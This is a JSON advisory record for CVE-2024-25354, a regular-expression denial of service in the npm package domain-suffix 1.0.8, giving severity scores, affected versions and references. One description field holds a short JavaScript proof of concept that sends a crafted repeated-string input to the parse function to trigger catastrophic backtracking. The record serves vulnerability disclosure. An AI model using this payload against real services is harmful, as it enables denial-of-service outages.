{"id":"CVE-2024-25354","aliases":["CVE-2024-25354","GHSA-cqfh-c4c5-c2hg"],"related":[],"kind":"vulnerability","state":"published","title":"domain-suffix RegEx Denial of Service","summary":"RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.","source":"cvelist"},{"lang":"en","text":"RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.\n\n## PoC\n```js\nasync function exploit() {\n   const domainsuffix = require(\\\"domain-suffix\\\");\n   // Crafting a string that will cause excessive backtracking\n   const maliciousInput = \\\"a.\\\".repeat(10000) + \\\"b\\\"; // This will create a long sequence of \\\"a.\\\" followed by \\\"b\\\"\n   const result = await domainsuffix.domainSuffix.parse(maliciousInput);\n}\nawait exploit();\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"La denegación de servicio RegEx en domain-suffix 1.0.8 permite a los atacantes bloquear la aplicación mediante entradas manipuladas a la función de análisis.","source":"nvd"}],"published":"2024-03-27T00:00:00.000Z","modified":"2026-06-17T07:15:53.643Z","severity":{"scorer":"CISA-ADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"CISA-ADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-1333"],"affected":[{"ranges":[{"version":"n/a","status":"affected"}],"source":"cvelist"},{"ranges":[{"version":"1.0.8","status":"affected"}],"vendor":"npmjs","product":"domain-suffix","cpe":"cpe:2.3:a:npmjs:domain-suffix:1.0.8:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"1.0.8"}],"ecosystem":"npm","package":"domain-suffix","purl":"pkg:npm/domain-suffix","source":"ghsa"}],"references":[{"url":"https://gist.github.com/6en6ar/c3b11b4058b8e2bc54717408d451fb79","tags":["web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-25354","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/ikrong/domain-suffix","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/ikrong/domain-suffix/blob/master/src/domainSuffix.ts","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"mitre","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2024-03-28T18:27:54.967Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-25354","url":"https://www.cve.org/CVERecord?id=CVE-2024-25354","licence":"CVE Terms of Use","modified":"2025-03-14T18:12:35.320Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-cqfh-c4c5-c2hg","url":"https://github.com/advisories/GHSA-cqfh-c4c5-c2hg","licence":"CC-BY-4.0","modified":"2025-09-03T15:16:09.000Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-25354","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-25354","licence":"Public domain","modified":"2026-06-17T07:15:53.643Z"}],"updatedAt":"2026-11-25T22:58:38.032Z","epss":{"score":0.00575,"percentile":0.48878,"date":"2026-12-02T12:00:21.000Z"}}